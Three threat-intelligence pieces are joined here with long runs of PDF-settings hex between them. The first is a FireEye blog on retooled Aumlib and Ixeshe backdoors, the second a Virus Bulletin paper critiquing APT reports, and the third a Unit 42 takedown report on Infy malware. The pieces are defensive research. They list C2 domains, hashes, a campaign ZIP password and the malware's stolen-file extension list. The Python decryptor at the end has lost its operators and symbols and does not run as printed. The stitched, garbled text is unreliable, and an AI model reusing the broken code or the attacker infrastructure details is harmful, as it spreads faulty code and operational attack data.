The new campaigns mark the first significant stirrings from the group since it went silent in January in the wake of a detailed expose of the group and its exploits  and a retooling of what security researchers believe is a massive spying operation based in China [1].
The newest campaign uses updated versions of Aumlib and Ixeshe.
Aumlib, which for years has been used in targeted attacks, now encodes certain HTTP communications.
FireEye researchers spotted the malware when analyzing a recent attempted attack on an organization involved in shaping economic policy.
And a new version of Ixeshe, which has been in service since 2009 to attack targets in East Asia, uses new network traffic patterns, possibly to evade traditional network security systems.
The updates are significant for both of the longstanding malware families before this year, Aumlib had not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011.
BACKGROUND Cybercriminals are constantly evolving and adapting in their attempts to bypass computer network defenses.
But, larger, more successful threat actors tend to evolve at a slower rate.
As long as these actors regularly achieve their objective (stealing sensitive data), they are not motivated to update or rethink their techniques, tactics, or procedures (TTPs).
These threat actors tactics follow the same principles of evolution  successful techniques propagate, and unsuccessful ones are abandoned.
Attackers do not change their approach unless an external force or environmental shift compels them to.
As the old saying goes: If it aint broke, dont fix it.
So when a larger, successful threat actor changes up tactics, the move always piques our attention.
Naturally, our first priority is ensuring that we detect the new or altered TTPs.
But we also attempt to figure out why the adversary changed  what broke?
so that we can predict if and when they will change again in the future.
We observed an example of this phenomenon around May.
About four months after The New York Times publicized an attack on its network, the attackers behind the intrusion deployed updated versions of their Backdoor.
APT.Aumlib and Backdoor.
APT.Ixeshe malware families [2].
The previous versions of Aumlib had not changed since at least May 2011, and Ixeshe had not evolved since at least December 2011.
We cannot say for sure whether the attackers were responding to the scrutiny they received in the wake of the episode.
But we do know the change was sudden.
Akin to turning a battleship, retooling TTPs of large threat actors is formidable.
Such a move requires recoding malware, updating infrastructure, and possibly retraining workers on new processes.
The following sections detail the changes to Backdoor.
APT.Aumlib and Backdoor.
APT.Ixeshe.
Backdoor.
APT.Aumlib Aumlib has been used in targeted attacks for years.
Older variants of this malware family generated the following POST request: POST /bbs/info.asp HTTP/1.1 Data sent via this POST request transmitted in clear text in the following structure: VICTIM BIOS NAMECAMPAIGN IDVICTIM EXTERNAL IPVICTIM OS A recently observed malware sample (hash value 832f5e01be536da71d5b3f7e41938cfb) appears to be a modified variant of Aumlib.
The sample, which was deployed against an organization involved in shaping economic policy, was downloaded from the following URL: status[.]acmetoy[.
]com/DD/myScript.js or status[.]acmetoy[.
]com/DD/css.css The sample generated the following traffic: This output reveals the following changes when compared with earlier variants: The POST URI is changed to /bbs/search.asp (as mentioned, earlier Aumlib variants used a POST http://www.fireeye.com/blog/wp-content/uploads/2013/08/aumlib1.png URI of /bbs/info.asp.)
The POST body is now encoded.
Additional requests from the sample generated the following traffic: These subtle changes may be enough to circumvent existing IDS signatures designed to detect older variants of the Aumlib family.
The sample 832f5e01be536da71d5b3f7e41938cfb shares code with an older Aumlib variant with the hash cb3dcde34fd9ff0e19381d99b02f9692.
The sample cb3dcde34fd9ff0e19381d99b02f9692 connected to documents[.]myPicture[.
]info and www[.]documents[.]myPicture[.
]info and as expected generated the a POST request to /bbs/info.asp.
Backdoor.
APT.Ixeshe Ixeshe has been used in targeted attacks since 2009, often against entities in East Asia [3].
Although the network traffic is encoded with a custom Base64 alphabet, the URI pattern has been largely consistent: /[ACD] [EW]S[Numbers].jsp?
[Base64] We analyzed a recent sample that appears to have targeted entities in Taiwan, a target consistent with previous Ixeshe activity.
http://www.fireeye.com/blog/wp-content/uploads/2013/08/aumlib2.png This sample (aa873ed803ca800ce92a39d9a683c644) exhibited network traffic that does not match the earlier pattern and therefore may evade existing network traffic signatures designed to detect Ixeshe related infections.
The Base64-encoded data still contains information including the victims hostname and IP address but also a mark or campaign tag/code that the threat actors use to keep track of their various attacks.
The mark for this particular attack was [ll65].
CONCLUSION Based on our observations, the most successful threat actors evolve slowly and deliberately.
So when they do change, pay close attention.
Knowing how attackers strategy is shifting is crucial to detecting and defending against todays advanced threats.
But knowing the why is equally important.
That additional degree of understanding can help organizations forecast when and how a threat actor might change their behavior  because if you successfully foil their attacks, they probably will.
Notes http://www.fireeye.com/blog/wp-content/uploads/2013/08/ixeshe1.png http://www.fireeye.com/blog/wp-content/uploads/2013/08/ixeshe2.png [1] http://www.nytimes.com/2013/01/31/technology/chinese-hackers-infiltrate-new-york-times- computers.html?pagewantedall [2] This actor is known as APT12 by Mandiant [3] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white- papers/wp_ixeshe.pdf This entry was posted in Threat Intelligence, Threat Research by Ned Moran and Nart Villeneuve.
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http://www.fireeye.com/blog/category/technical/threat-intelligence http://www.fireeye.com/blog/category/technical http://www.fireeye.com/blog/author/ned-moran http://www.fireeye.com/blog/author/narottama-villeneuve http://www.fireeye.com/blog/technical/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html
APT REPORTS AND OPSEC EVOLUTION...  EVRON  RAZ 1VIRUS BULLETIN CONFERENCE OCTOBER 2016 APT REPORTS AND OPSEC EVOLUTION, OR: THESE ARE NOT THE APT REPORTS YOU ARE LOOKING FOR Gadi Evron Cymmetria, Israel Inbar Raz Perimeter X, Israel Email gadicymmetria.com inbarperimeterx.com ABSTRACT With the advancement of defensive cybersecurity practices and the regular release of reports exposing toolsets used in APT attacks, advanced threat actors have had to adapt.
However, while APT reports should have threat actors scrambling to keep up, in reality they are providing APT actors with the information they need to implement new operational security practices and technologies that have defenders working as hard as ever to protect their networks.
Not only are attackers adapting they are evolving at a faster rate than defenders.
So what are we, as defenders, doing wrong?
The fact is, many public APT reports suck.
Even though they tend to be long and technical, they are often not full reports, but rather a commentary on the attack platform(s) and deployment technique(s) used, intended for PR purposes.
This results in an asymmetry  an information gap  that benefi ts the attacker.
Current APT reports basically act as free QA for APT actors, providing them with valuable information about defenders insights into their tools and actions.
As a result, APT actors are able to adapt their own OPSEC practices and technologies in order to stay one step ahead of defenders.
APT reports in their current state are more benefi cial to attackers than defenders.
Currently, most APT reports provide abundant information on indicators of compromise (IOC), CC set-up and malware used.
This presentation examines actual techniques that can be used to re-engineer the entire attack process, including how attackers decide what information is valuable to target, where that information can be found, how they create a target report and then attack plan, and the ongoing concerns of an attacker during lateral movement (i.e.
OPSEC, intelligence gathering, and keeping their identity hidden).
Based on these techniques, we discuss specifi c defensive countermeasures that can be used.
If APT reports included more actionable intelligence that defenders could use to create better defence practices, their value would then be greater to defenders than to attackers.
We discuss how intelligence on the attack vector of an APT, or on what information was compromised, is actually more valuable to a defender than the information that currently dominates APT reports (malware analysis, IOCs).
APT reports with more actionable intelligence would afford us the ability to publicly re-engineer specifi c attacks, consequently rendering useless certain attack techniques that are currently not available for public knowledge.
The cybersecurity sector needs to demand earlier reporting of breaches (or at least a heads up to the security community), actionable public information sharing, and a move away from our current fi xation on attribution.
We need to make hackers spend signifi cantly more time, effort, and resources in order to succeed.
By producing better APT reports, not only can the security community increase attackers costs and cause them to constantly be on guard, but also signifi cantly disrupt the attackers operations and make it diffi cult for them to rebuild their attack infrastructure after being compromised and exposed.
The bottom line is: in order to counter the evolution of APTs, we need APT reports that provide a more wholesome view of an attackers motivations and chosen vector in addition to an analysis of his techniques.
This shift in focus can give security professionals more tools to successfully re-engineer an attackers methodology.
There is an information gap in that APT reports are more helpful to the attacker than to the defender  there needs to be a shift.
Cybersecurity is a constantly evolving fi eld, with protection technologies shifting to keep up with the transformation of cyber threats that are growing in complexity.
Operational security, otherwise known as OPSEC, is a collection of processes both for developing software with risk management in mind, as well as carrying out a mission using said software.
In the case of a network breach, OPSEC also includes the measures used by the attacker to avoid detection, and ensure success.
Contrary to what some might believe, operational security is useful for both the attacker and the defender.
When considering operational security from the perspective of an attacker, OPSEC can be utilized in order to achieve the attackers goals while preventing detection.
There are instances, however, when OPSEC is a hindrance.
In terms of the time needed to achieve success, it often necessitates slow movement on the attackers part in order not to be compromised.
OPSECs scalability can also be problematic, as can the ease of deployment.
Over the past 10 years, a specifi c type of threat known as an advanced persistent threat, or APT, has become increasingly common.
As a result, defence technology has been transforming in order to meet these kinds of threats.
Some of the most notable breaches and hacks in the past few years have been a result of APT campaigns, such as Stuxnet and Flame.
These two campaigns actually varied in size and specifi cation.
Stuxnet was a computer worm, believed to be a joint American-Israeli project, that compromised Iranian centrifuges.
In this instance, the worm was smaller in size but designed to target specifi c vendors.
Flame, on the other hand, was much larger  20 megabytes in comparison to Stuxnets 500 kilobytes  but much less target- specifi c. Its main purpose was to infect a system and look for intelligence, by taking screenshots and recording audio and then sending that information back through an encrypted channel.
When APTs are identifi ed and blocked, it is often the result of a hacker being compromised by faulty operational security.
On the attackers side, this requires a transformation in product.
For instance, after Stuxnet and Flame were identifi ed, new advanced persistent threats became stealthier and more complex.
One APT REPORTS AND OPSEC EVOLUTION...  EVRON  RAZ 2 VIRUS BULLETIN CONFERENCE OCTOBER 2016 example is Gauss, which had tight execution constraints which only allowed the malware to execute on certain targets, resulting in it evading capture for signifi cantly longer.
Even now, there is still a piece of the malware, detailing which computer it was meant for, that remains encrypted.
Another APT that emerged as the actors learned from their mistakes was APT3, a piece of malware that, when fi rst active, used only small and disposable tools before bringing out the more complex and intense tools, in order to prevent their loss in the event of it being caught earlier on.
On the defenders side, the fi rst signifi cant sign of hope in defeating APTs came in early 2013 when the fi rst major APT report was released by Mandiant [1].
Its disclosure of the advanced persistent threat campaign named APT1 made a huge impact thanks to the extent of the exposure.
The report showed that the campaign had compromised 141 companies across 20 countries.
The attack methodology was to establish access to a network and visit the network every so often to steal new data.
With a sizable staff, APT1 was able to steal incredible amounts of data, remaining in one particular system for as long as four years and 10 months, and stealing a whopping 6.5 Terabytes of data from just one organization over the course of 10 months.
Mandiants report outed APT1 publicly for the fi rst time and, since then, APT reports have become a common outcome after an attack, produced with the intent of aiding other defenders by detailing the attack methods and preventative measures.
Unfortunately, many of these APT reports are failing to achieve just that.
The major problem with these reports is not ill intent, but a gap in information which causes the details to favour the attacker rather than the defender.
This disparity occurs for a number of reasons, but all with the same consequence.
Most APT reports are lengthy, causing readers to have to sift through a great amount of detail in order to get to the most important piece information.
Sometimes, that information is contained within the report, but sometimes it is not and the report is not disclosed in full.
In these cases, the part of the report that is publicized is done so for PR purposes and the full report is available only to paying customers.
This is a clear cut case of when the attacker is disproportionately benefi ted because the part of the report that is available often only contains deployment techniques.
Deployment techniques, for other attackers reading the report, represent nothing more than an inside look at what the other guy can do, with less relevance to any other defenders.
An in-depth analysis of the information commonly contained in APT reports produced the observation shown in Figure 1.
Most of the information is malware analysis, which makes for interesting reading for fellow malware researchers but has very little value to an IT security person trying to defend a network.
After that come indicators of compromise, which actually are useful for detecting and mitigating threats but have a very short relevance term, since the rise of OPSEC.
Coming next, the CC set-up has more relevance as its life span is usually longer (though less and less relevant to other targets or other campaigns).
Attack vectors are very important because they are harder to change, are relevant to a larger group of targets, and are actionable  you have something to defend against  but these are not often included in the reports.
And the most important piece of information  attacker objectives, the one thing that lets a defender focus and concentrate the defences in the right place  is rarely shared.
Moreover, preventative strategies are released, which become in essence a free lesson for the actor responsible for the advanced persistent threat, showcasing what should be done differently next time, with a detailed explanation of the defence software, essentially allowing the attack mechanisms to evolve and infi ltrate the system more successfully.
For other attackers, these reports represent a free QA process, leaking both other attacking technologies as well as how they are defended against, resulting in APT evolution.
There are several instances of seemingly unrelated campaigns having been carried out using similar code, demonstrating that there was some spread of information on the actors end.
In the case of APT1, different parts of the malware were registered under the same name and email.
This lesson was clearly absorbed by the Russian programmers who created Turla, an APT which was far more sophisticated and used satellite connections to hijack networks and steal data, without any locations disclosed.
In order to fi x this information asymmetry, one of the best solutions is to use reverse engineering this essentially means looking at an attack from the attackers perspective in order to determine what can be done on the defenders part.
This is where the Cyber Engagement Process comes into play.
This is a simplifi ed model that details the generalized main steps of an attacker: composing intelligence requirements creating a target list engagement, whether it be pre-breach, post-breach, or ongoing and fi nally folding and retreat.
The fi rst step, composing intelligence requirements, requires a deep look at the attackers end as to what kind of information he is looking for.
This step is quite problematic for defenders.
In the event the defender manages to determine the objective of the attacker, some precautions can be used.
For instance, in the case of Operation Aurora, security experts were able to determine that the goal of the attackers was to gain access to particular source code repositories at certain high tech and security companies.
However, in most cases, there is no indication of the attackers objective or what information is being sought, making Figure 1: The relative amounts of different types of information commonly contained in APT reports (y axis: information).
Malware Analysis IOCs CC Set-up Attack Vectors Attacker Objective APT REPORTS AND OPSEC EVOLUTION...  EVRON  RAZ 3VIRUS BULLETIN CONFERENCE OCTOBER 2016 defensive strategies much more diffi cult to select.
Even when the objective is known, it can be diffi cult to understand the mindset of the attackers or why they would want certain information  as in the case of the Offi ce of Personnel Management breach, when hackers targeted personal information such as Social Security numbers.
For this step, with little knowledge of the attackers intentions, one should perform risk assessments, to ascertain the potential impacts.
The next step in the Engagement Process is for the attacker to compile a target list.
This is directly related to the intelligence requirements, as it is nothing more than a list to determine who has the relevant information as per the intelligence requirements: Who has the answers to my questions?
This can take shape in specifi c targets, or it can be more broad.
From the defenders perspective, this again is diffi cult to act against, for numerous reasons.
Pattern recognition  one of the solutions requires more time than is often available.
One measure that can be taken is to constantly be aware of other attacks that are happening, particularly in companies that are similar to ones own.
In fact, there are many instances in which one company is hacked and then, a few days later, a number of other similar natured companies are breached.
In the case of the Target breach, point-of-sale devices were hacked any other companies with similar point-of-sale devices should have been on the lookout, making active changes to make sure they would not be hacked in the same fashion.
To prevent this, threat assessments should be carried out often and breaches reported as soon as possible so that other defenders can take notice and be forewarned.
However, not all actors will include this step as part of their engagement plan, as this is just a generalized cycle.
One example is the Sofacy APT, which did not have a compiled target list, but seemed to latch onto whatever information it could fi nd in order to monetize it later.
The third step of the cycle, intelligence gathering, involves many substeps.
Beforehand, there is generally a pre-prepared target report outlining everything that is known about the target to be used during engagement.
This helps in the creation of the attack plan, which might be tailored for the target, with target-specifi c tools and target-specifi c methods.
In terms of attack prevention, publicly available sensitive data poses a huge problem.
Even if the information is not public, some people may inadvertently make the information easily accessible, for example by using security questions with answers that can be found on social media accounts.
When there is such a lack of security awareness, companies can become susceptible to probing, either automatic or manual.
This is merely the pre-engagement stage of intelligence gathering.
Before even infi ltrating an actual network, the attacker can have a large amount of information at hand.
While this seems disheartening, once an actor is engaged and inside the network, there are actually many opportunities to intervene.
The engagement process is not a one-time event it is ongoing, which is why layered security is so important.
The key in this step is to put as many obstacles as possible in the way of the attacker, so that it takes longer to reach the desired data, resulting in longer periods of exposure and a greater chance of getting caught.
For the attacker, once inside the network, the main goal is to remain undetected and move around stealthily, making its way to the desired data.
This is commonly known as lateral movement.
In order to remain undetected within the network, more intelligence gathering needs to take place.
This is from a different perspective, having already infi ltrated the network, but this is where operational security needs to be revisited by the attacker.
This begins with mapping out the defences of the target and continues with looking for other malware.
It is also important to recognize that, in this day and age, there are many other players and many other APT actors and so there might be others lurking in the same network that need to be recognized.
With this awareness comes the possibility of having to abort while inside the network.
Even if an installation is in the midst of occurring, if there are signs of detection, the safest thing to do is leave the network immediately.
This can be seen in the case of the threat known as Hurricane Panda where the threat actor detected the presence of CrowdStrike and backed away.
This example is closely related to the last step, folding and retreating, which varies from one attacker to another.
Some fold after report publications: Red October was a malware program operating for fi ve years before its discovery, upon which it dismantled.
Another program that quit and ran in a similar fashion was The Mask, which left the system only four hours after a blog publication.
Nevertheless, there are counter-examples that demonstrate that some malware actors do not bother to fold and retreat, such as APT12 or the Gaza Hacker team.
For the defender, one of the worst consequences of an attack could be when an attacker chooses to destroy all the information he gets his hands on as a form of folding and then retreating.
For this reason, sometimes it can be of more use to have back-ups of data rather than regular monitoring of the system.
With this Engagement Process in mind, it is apparent that more information needs to be communicated in APT reports  and not just more information, but the right kind of information.
One shift that needs to occur is a reduction in focus on attribution.
While previously, attackers used to try to steer clear of any possibility of attribution, that no longer seems to be the case.
Instead, attackers seem to have little shame and are not afraid of attribution.
In order to aid not just the actor and other similar attackers, reports should be focusing on attack vectors and an analysis of attack techniques.
This kind of actionable information is the only way other defending companies can benefi t from these reports.
However, just as important as the actual report details is the timing of the reports the public needs to know about breaches immediately after they happen in order for defenders to counter future attacks.
With more prompt, actionable reports, the asymmetry of information sharing will cease and the disproportionate advantages for the attackers will be negated.
REFERENCES [1] Mandiant.
APT1: Exposing One of Chinas Cyber Espionage Units.
February 2013.
https://www.fi reeye.com/content/dam/fi reeye-www/ services/pdfs/mandiant-apt1-report.pdf.
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/HRV (Za stvaranje Adobe PDF dokumenata najpogodnijih za visokokvalitetni ispis prije tiskanja koristite ove postavke.
Stvoreni PDF dokumenti mogu se otvoriti Acrobat i Adobe Reader 5.0 i kasnijim verzijama.)
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De gemaakte PDF-documenten kunnen worden geopend met Acrobat en Adobe Reader 5.0 en hoger.)
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FEFF005400650020006e006100730074006100760069007400760065002000750070006f0072006100620069007400650020007a00610020007500730074007600610072006a0061006e006a006500200064006f006b0075006d0065006e0074006f0076002000410064006f006200650020005000440046002c0020006b006900200073006f0020006e0061006a007000720069006d00650072006e0065006a016100690020007a00610020006b0061006b006f0076006f00730074006e006f0020007400690073006b0061006e006a00650020007300200070007200690070007200610076006f0020006e00610020007400690073006b002e00200020005500730074007600610072006a0065006e006500200064006f006b0075006d0065006e0074006500200050004400460020006a00650020006d006f0067006f010d00650020006f0064007000720065007400690020007a0020004100630072006f00620061007400200069006e002000410064006f00620065002000520065006100640065007200200035002e003000200069006e0020006e006f00760065006a01610069006d002e /SUO FEFF004b00e40079007400e40020006e00e40069007400e4002000610073006500740075006b007300690061002c0020006b0075006e0020006c0075006f00740020006c00e400680069006e006e00e4002000760061006100740069007600610061006e0020007000610069006e006100740075006b00730065006e002000760061006c006d0069007300740065006c00750074007900f6006800f6006e00200073006f00700069007600690061002000410064006f0062006500200050004400460020002d0064006f006b0075006d0065006e007400740065006a0061002e0020004c0075006f0064007500740020005000440046002d0064006f006b0075006d0065006e00740069007400200076006f0069006400610061006e0020006100760061007400610020004100630072006f0062006100740069006c006c00610020006a0061002000410064006f00620065002000520065006100640065007200200035002e0030003a006c006c00610020006a006100200075007500640065006d006d0069006c006c0061002e /SVE FEFF0041006e007600e4006e00640020006400650020006800e4007200200069006e0073007400e4006c006c006e0069006e006700610072006e00610020006f006d002000640075002000760069006c006c00200073006b006100700061002000410064006f006200650020005000440046002d0064006f006b0075006d0065006e007400200073006f006d002000e400720020006c00e4006d0070006c0069006700610020006600f60072002000700072006500700072006500730073002d007500740073006b00720069006600740020006d006500640020006800f600670020006b00760061006c0069007400650074002e002000200053006b006100700061006400650020005000440046002d0064006f006b0075006d0065006e00740020006b0061006e002000f600700070006e00610073002000690020004100630072006f0062006100740020006f00630068002000410064006f00620065002000520065006100640065007200200035002e00300020006f00630068002000730065006e006100720065002e /TUR FEFF005900fc006b00730065006b0020006b0061006c006900740065006c0069002000f6006e002000790061007a006401310072006d00610020006200610073006b013100730131006e006100200065006e0020006900790069002000750079006100620069006c006500630065006b002000410064006f006200650020005000440046002000620065006c00670065006c0065007200690020006f006c0075015f007400750072006d0061006b0020006900e70069006e00200062007500200061007900610072006c0061007201310020006b0075006c006c0061006e0131006e002e00200020004f006c0075015f0074007500720075006c0061006e0020005000440046002000620065006c00670065006c0065007200690020004100630072006f006200610074002000760065002000410064006f00620065002000520065006100640065007200200035002e003000200076006500200073006f006e0072006100730131006e00640061006b00690020007300fc007200fc006d006c00650072006c00650020006100e70131006c006100620069006c00690072002e /UKR FEFF04120438043a043e0440043804410442043e043204430439044204350020044604560020043f043004400430043c043504420440043800200434043b044f0020044104420432043e04400435043d043d044f00200434043e043a0443043c0435043d044204560432002000410064006f006200650020005000440046002c0020044f043a04560020043d04300439043a04400430044904350020043f045604340445043e0434044f0442044c00200434043b044f0020043204380441043e043a043e044f043a04560441043d043e0433043e0020043f0435044004350434043404400443043a043e0432043e0433043e0020043404400443043a0443002e00200020042104420432043e04400435043d045600200434043e043a0443043c0435043d0442043800200050004400460020043c043e0436043d04300020043204560434043a0440043804420438002004430020004100630072006f006200610074002004420430002000410064006f00620065002000520065006100640065007200200035002e0030002004300431043e0020043f04560437043d04560448043e04570020043204350440044104560457002e /ENU (Use these settings to create Adobe PDF documents best suited for high-quality prepress printing.
Created PDF documents can be opened with Acrobat and Adobe Reader 5.0 and later.)
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Prince of Persia  Game Over researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/ Summary Unit 42 published a blog at the beginning of May titled Prince of Persia, in which we described the discovery of a decade-long campaign using a formerly unknown malware family, Infy, that targeted government and industry interests worldwide.
Subsequent to the publishing of this article, through cooperation with the parties responsible for the C2 domains, Unit 42 researchers successfully gained control of multiple C2 domains.
This disabled the attackers access to their victims in this campaign, provided further insight into the targets currently victimized in this operation, and enabled the notification of affected parties.
Post Publication In the week following the publication of the original blog, we observed no unusual changes to the C2 infrastructure.
Existing domains did move to new IP addresses, as we had previously seen periodically.
Some new install domains were added, adhering to naming conventions of current domains (see appendix for new IOCs).
The attackers developed a new version (31), and we observed this deployed against a single Canadian target.
The file descriptions remained essentially the same (CLMediaLibrary Dynamic Link Library V3).
Most importantly, there was no change to the encoding key (now using offset 20, and offset 11 for second pass against URL encoding) that we had observed being used for the entire decade-long campaign, and documented in our previous blog.
From this we conclude that the attackers were unaware of our initial report.
Sinkhole Through cooperation with the parties responsible for the C2 domains, we took control of all but one of them, transferring the A records to a server we controlled.
This prevented the attackers from being able to subsequently make any further changes to the domain configurations, issue commands to victims, or capture any further data for the majority of victims.
An analysis of connections after transfer suggests that the attackers may have used a third- party service to try to understand why they had suddenly lost almost all of their traffic.
Figure 1 shows that tool, a geographic representation of victim-C2 traffic, with all but one at that time now communicating with our sinkhole server.
1/13 http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/ http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/PoP-Game-Over-1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/PoP-Game-Over-2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/PoP-Game-Over-3.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/PoP-Game-Over-4.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/PoP-Game-Over-5.png Figure 1 Graphical representation of victim traffic to C2 We have since transferred sinkhole control to Shadowserver, whom we thank for subsequent victim notification remediation (https://www.shadowserver.org/wiki/pmwiki.php/Involve/GetReportsOnYourNetwork).
Victims We were able to analyze victim C2 traffic to understand who were victims of the Infy campaign.
We identified 456 malware agents installed on 326 victim systems, in 35 countries.
Figure 2 shows a geographical breakdown of victim locations.
We noted in our original blog the large amount of targeting of Iranian citizens in this campaign, we observed almost one-third of all victims to be Iranian.
Also of note was the low overall volume of victims, compared to, for example, crimeware campaigns.
Figure 2 Geographic location of victims.
Please note that New Zealand has been omitted from this map only because we observed no victim activity there.
Versions In our original blog, we noted two distinct primary variants of the Infy malware.
In addition to the original Infy variant, we also see the newer, more sophisticated, interactive, and fuller-featured Infy M variant deployed against 2/13 https://www.shadowserver.org/wiki/ https://www.shadowserver.org/wiki/pmwiki.php/Involve/GetReportsOnYourNetwork apparently-higher-value targets.
Overall, 93 of all victims were infected with Infy, and 60 with Infy M (Figure 3).
Combined with the low total number of victims, this suggests a great deal of care given to each individual campaign target.
The large number of victims with both variants may relate to their complimentary feature set, or represent an upgrade path on victims from the original variant infection, later adding the M variant as targets appeared more compelling to the attackers.
Figure 3 Breakdown of Infy vs. Infy M infections For the Infy M variant, we note that the majority of targets are using the latest version (7.8), and that none are using the older 6.x versions at all (Figure 4).
This suggests that these higher-value targets are paid much more attention, being kept up-to-date with the latest version.
In contrast, for the more basic original Infy variant, we note a full spectrum of versions installed (Figure 5), with many victims on older versions  including the original, decade-old V1  suggesting much less concern is paid to these individual targets (note that we did observe a small number of the older 6.x versions but these do not announce their version when connecting).
3/13 Figure 4 Infy M Victim versions Figure 5 InfyOriginal Victim versions Game Over Shortly after the takedown, as well as a new Infy version (31), we also observed the registration of multiple domains 4/13 using a previously-seen pattern, against known campaign IP addresses.
Almost every domain in the pattern-range box4035[.
]net  box4090[.
]net (138.201.0.134).
These were not observed in any sample C2 lists however.
Bestwebstat[.
]com was sinkholed by another operator.
Some victims infected with Infy versions 15-24 still used the C2 server us1s2[.]strangled[.
]net, which remained in the hands of the attacker.
In early June the attackers used this C2 to issue instructions to download new Infy M version 8.0 from us1s2[.]strangled[.
]net/bdc.tmp.
This was the first time we had observed an Infy variant being directly updated to Infy M. This used camouflage name Macromedia v4, changed from v3 seen in Infy v31.
They also removed the voice recording capability in this version.
uvps1[.]cotbm[.
]com was used for data exfiltration, previously at 138.201.47.150, after publishing of our original blog moving to 144.76.250.205.
It was also hosting malware updates at /themes/u.php.
They also added a curious C2 entry hxxp://box (note: defanged for publishing).
Its unclear how this should function possibly a compromised victim intranet device, or the attackers have modified the HOSTS file on the victim computer.
After the take-down, the attackers began to add server IP addresses as well as domain names to their malware C2 list.
They also slightly modified their ZIP password from Z8(2000_2001ul to Z8(2000_2001uIEr3.
Their new malware version added antivirus checks for Kaspersky Labs, Avast, and Trend Micro.
The malware data capture now searches for file extensions: .doc, .docx, .xls, .xlsx, .xlr, .pps, .ppt, .pptx, .mdb, .accdb, .db, .dbf, .sql, .jpg, .jpeg, .psd, .tif, .mp4, .3gp, .txt, .rtf, .odt, .htm, .html, .pdf, .wps, .contact, .csv, .nbu, .vcf, .pst, .zip, .rar, .7z, .zipx, .pgp, .tc, .vhd, .p12, .crt.pem,.key.pfx, .asc, .cer, .p7b, .sst, .doc, .docx, .xls, .xlsx, .xlr, .pps, .ppt, .pptx.
and folder locations: :\recycle.bin, :\documents and settings, :\msocache, :\program files, :\program files (x86), :\programdata, :\recovery, :\system volume information:\users, :\windows, :\boot, :\inetpub, :\i386.
The malware continued to use the identical decryption key seen over the entire history of this campaign.
Mid-June, through cooperation with the parties responsible for the C2 domains and law enforcement, we were able to get the remaining C2 domains null-routed and the directly-IP-addressed server disabled.
This is the end of a decade-long campaign, though we naturally expect to see this actor back in some other guise before long.
Thanks to the Malware research team  Yaron Samuel, Artiom Radune, Mashav Sapir, Netanel Rimer  for assistance in the takedown.
Appendix 1  Exfiltration Algorithm The malware uses a different algorithm than that used for encrypting the malware strings to encrypt the exfiltration data, including: 1.
Keylogger data  language.
2.
Malware logs  installation time, DLL path and name, log path, number of downloads, number of successful/failed connections.
3.
Information about the victim computer: Time zone, list of drives and types, running processes, disk info.
First the malware adds 1 to all bytes, then an encryption key is initialized based on the victim computer name (the offset in the key is calculated by sum of the computer name letters key length).
Then the key is used to encrypt the data (see decrypt function).
The encrypted data is then base64 encoded.
5/13 Exfiltration data decryption python code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import os,sys import string import base64 import fileinput FIRST_PHASE  OQTJEqtsK0AUB9YXMwr8idozF7VWRPpnhNCHI6Dlkaubyxf5423jvcZ1LSGmge SECOND_PHASE  PqOwI1eUrYtT2yR3p4E5o6WiQu7ASlDkFj8GhHaJ9sKdLfMgNzBx0ZcXvCmVnb global FULL_KEY FULL_KEY def sub_1_for_hex(str_input): str_output for letter in str_input: try: str_output  chr(ord(letter)-1) except: print sub_1_for_hex func problem continue return str_output def sum_comp_name(comp_name): sum  0 for letter in comp_name: sum ord(letter) return sum def init_key(comp): comp_name_sum  sum_comp_name(comp) carry  divmod(comp_name_sum, 62) index  carry[1] -1 end_key  FIRST_PHASE[:index] key  FIRST_PHASE[index:] 6/13 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 key  key  end_key key  key  key return key def decrypt(num_list,offset): global FULL_KEY input for num_str in num_list: try: input  num_str.decode(hex) except: input  ) result for i, c in enumerate(input): i  i  62 1 try: index  FULL_KEY.index(c)-1 except ValueError: result  c continue translated  SECOND_PHASE[(index - i offset)  len(SECOND_PHASE)] result  translated return result def found_infy_enc_data(line): found_infy_str  show\---------- Administration Reporting Service found_infy_index  line.find(found_infy_str) if not found_infy_index-1: return True,found_infy_index else: return False,found_infy_index def extract_comp_name(line): 7/13 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 comp  r\xd\xa----- comp_index  line.find(comp) comp_name  line[comp_indexlen(comp):] comp_name  comp_name[:comp_name.find(----- )] print ((()))  comp_name return comp_name def extract_enc_data(line): header  r\xd\xa_____ start_index  line.find(header)len(header) line  line[start_index:] endindex  line.index(_____\ value) line  line[:endindex] return line def write_enc_infy_data_to_file(dec_line,comp_name,filename): file1  open(filename  \\  comp_name  .txt,ab) file1.writelines(dec_line) file1.close() def enc_wrapper(enc,comp_name): global FULL_KEY print FULL_KEY FULL_KEY  init_key(comp_name) enc_final for letter in enc: if len(hex(ord(letter))[2:])1: enc_final  0  hex(ord(letter))[2:] elif len(hex(ord(letter))[2:])2: enc_final  hex(ord(letter))[2:] else: 8/13 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 print not good hex length exit() enc  enc_final.upper() enc  enc.replace(2E,21) enc  enc.replace(C5DC5A,) enc  enc.replace(D03D00,) enc  enc.replace(0B0E,2121) enc  enc.replace(01,21) enc_len  len(enc) enc_rev num_list  [] enc_print for i in range(0,enc_len/2): enc_rev  enc[-2:] if not enc_rev0B and not enc_rev0E and not enc_rev00 and not enc_revD0: enc_print enc_rev num_list.append(enc_rev) enc enc[:-2] the first part is always ok dec_str  decrypt(num_list,0) final  sub_1_for_hex(dec_str) index  final.find(OK: Sent) if index-1: print comp_name   - did not found OK: Sent \n\n\n\n exit() decrypt_data  comp_name       str(i)  :   final  \n 9/13 127 128 129 130 